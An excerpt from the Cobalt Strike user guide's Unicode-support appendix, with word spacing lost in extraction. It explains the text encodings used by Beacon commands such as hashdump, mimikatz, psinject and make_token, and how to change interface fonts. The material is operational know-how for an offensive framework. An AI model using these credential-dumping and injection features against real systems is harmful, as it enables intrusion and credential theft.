Appendix/UnicodeSupport Ingeneral,thetranslationoftexttoandfromthetarget'sencodingistransparenttoyou.Ifyou workonatarget,configuredtoonelanguage,thingswillworkasyouexpect. Differentbehaviors,betweencommands,willshowupwhenyouworkwithmixedlanguage environments.Forexample,ifoutputcontainscharactersfromCyrillic,Chinese,andLatin alphabets,somecommandswillgetitright.Otherswon't. MostcommandsinBeaconusethetarget'sANSIencodingtoencodeinputanddecodeoutput. Thetarget'sconfiguredANSIencodingmayonlymapcharacterstocode-pointsforahandfulof writingsystems.IftheANSIencodingofthecurrenttargetdoesnotmapCyrilliccharacters, make_tokenwillnotdotherightthingwithausernameorpasswordthatusesCyrillic characters. Somecommand,inBeacon,useUTF-8forinputandoutput.Thesecommandswill,generally, dowhatyouexpectwithmixedlanguagecontent.ThisisbecauseUTF-8textcanmap characterstoanyUnicodecodepoint. ThefollowingtabledocumentswhichBeaconcommandsusesomethingotherthantheANSI encodingtodecodeinputandoutput: Command Input Encoding Output Encoding hashdump UTF-8 mimikatz UTF-8 UTF-8 powerpick UTF-8 UTF-8 powershell UTF-16 OEM psinject UTF-8 UTF-8 shell ANSI OEM NOTE: Forthosethatknowmimikatzwell,you'llnotethatmimikatzusesUnicodeWin32APIs internallyandUTF-16characters.WheredoesUTF-8comefrom?CobaltStrike'sinterface tomimikatzsendsinputasUTF-8andconvertsoutputtoUTF-8. SSH Sessions CobaltStrike'sSSHsessionsuseUTF-8encodingforinputandoutput. Logging CobaltStrike'slogsareUTF-8encodedtext. CobaltStrikeUserGuide www.fortra.com page:475

Appendix/UnicodeSupport Fonts Yourfontmayhavelimitationsdisplayingcharactersfromsomewritingsystems.Tochange theCobaltStrikefonts: GotoCobalt Strike -> Preferences -> Cobalt StriketochangetheGUIFontvalue.Thiswill changethefontCobaltStrikeusesinitsdialogs,tables,andtherestoftheinterface. GotoCobalt Strike -> Preferences -> ConsoletochangetheFontusedbyCobaltStrike's consoles. Cobalt Strike -> Preferences -> GraphhasaFontoptiontochangethefontusedbyCobalt Strike'spivotgraph. CobaltStrikeUserGuide www.fortra.com page:476